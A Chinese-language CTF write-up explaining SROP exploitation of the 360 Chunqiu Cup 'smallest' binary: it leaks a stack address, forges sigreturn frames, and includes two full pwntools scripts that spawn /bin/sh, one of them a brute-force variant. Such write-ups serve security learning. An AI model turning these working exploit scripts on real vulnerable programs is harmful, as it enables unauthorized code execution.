基础看ctf-wiki和《权威指南pwn》
出自论文: Framing Signals — A Return to Portable Shellcode
理论基础
32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
攻击条件
1.栈溢出,且大小足够
2.知道以下内容地址
“/bin/sh”、signal frame、syscall、sigreturn
对sigreturn, 只要rax=15(64位下),执行syscall即可,rax可以通过一些方式来间接控制,比如作为read的返回值(读取的字节数)
例题 360 春秋杯 smallest-pwn
这个不能用正常程序的流程来看待,就这几行汇编, 首先向栈顶读取了0x400字符,然后ret, 又会从栈顶取值作为下一条指令.
程序中没有sigreturn系统调用,但是有read,通过read可以控制rax寄存器的值, 然后再调用syscall即可,换句话说,其实可以调用任意的系统调用(不考虑其他寄存器是否满足条件)
execve(“/bin/sh”,0,0) 最终的目标是要执行这个, 但现在最大的问题是, 不知道”/bin/sh”的地址,所以需要想办法泄露栈地址,然后输入到这个确定的地址上面.
攻击步骤
1.泄露地址
因为ret后从rsp取值,所以rsp这里要放几个程序的起始地址start_addr,然后首先要利用write输出栈的地址,可以看到这两句指令
1 2 3
| mov rsi,rsp mov rdi,rax syscall
|
如果利用之前的read把rax控制为1,那么就可以调用write的系统调用了,而rsi正好是rsp,所以可以输出一个rsp中的一个栈指针,理论上也是指向栈的某个位置.
要执行write的话,需要跳过xor这条指令,所以是不是应该在rsp上放一个0x400b3,也就是xor下一条指令的地址呢? 理论上需要,其实也不用,因为在输入一个字符的时候,可以输入\xb3, 这样把rsp上原先存放的start_addr地址的最后一个字节改了,也可以实现这个效果
1 2 3 4 5 6
| payload = p64(start_addr) * 3 sh.send(payload)
sh.send('\xb3') stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr :' + hex(stack_addr))
|
在输出的时候可以看到第二个地址才是栈上地址,所以取值[8:16], 为啥rsp上面要放3三个初始地址呢?
第一个用来读入 \xb3, 第二个时 进入了write,泄露地址, 第三个该继续走下面流程了
2.构造frame: 实现读入已知地址的功能
刚开始非常纳闷…这段汇编给的就是read的汇编,为啥要用frame构造啊….后来想明白后,还是自己太想当然了,前面给的read的汇编是不知道rsp的地址的,通过构造的frame,在恢复的时候,可以指定rsp的值,这样才能知道/bin/sh的地址(或许可以暴力破解?
1 2 3 4 5 6 7 8 9 10 11 12 13
| sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'a' * 8 + str(sigframe) sh.send(payload)
sigreturn = p64(syscall_ret) + 'b' * 7 sh.send(sigreturn)
|
7个b不会影响吗??? 会覆盖sigframe的开头,但是不知道覆盖的哪个寄存器????,不过看结果是没影响的
3. 读如execve的frame,然后执行
1 2 3 4 5 6 7 8 9 10 11
| sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe) payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00' sh.send(payload) sh.send(sigreturn)
|
与2原理一样,读入frame,然后执行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * small = ELF('./smallest')
if args['REMOTE']: sh = remote('127.0.0.1', 7777) else: sh = process('./smallest') context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(sh) context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 payload = p64(start_addr) * 3
sh.send(payload) pause() sh.send("\xb3") stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr :' + hex(stack_addr))
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b'a'*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"b"*7 pause() sh.send(sigreturn)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret pause() frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe) payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00' sh.send(payload) pause() sh.send(sigreturn) sh.interactive()
|
暴力破解解法
不过这个解法也是基于在本地能大概看一下偏移差多少的情况下,如果直接暴力破解的话,难度应该会更大一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * small = ELF('./smallest')
sh = process('./smallest') context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 payload = p64(start_addr) * 3
sh.send(payload)
sh.send(b"\xb3") stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr :' + hex(stack_addr))
sigreturn = p64(syscall_ret) + b"b"*7
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr -0xa1f sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret frame_payload = p64(start_addr) + b"c"*8 + bytes(sigframe) payload = frame_payload + b'/bin/sh\x00'*90
sh.send(payload) sh.send(sigreturn) sh.interactive()
|
其他
gdb中如何查看 sigframe结构?
gdb查看结构体信息
https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-print-pretty-on.html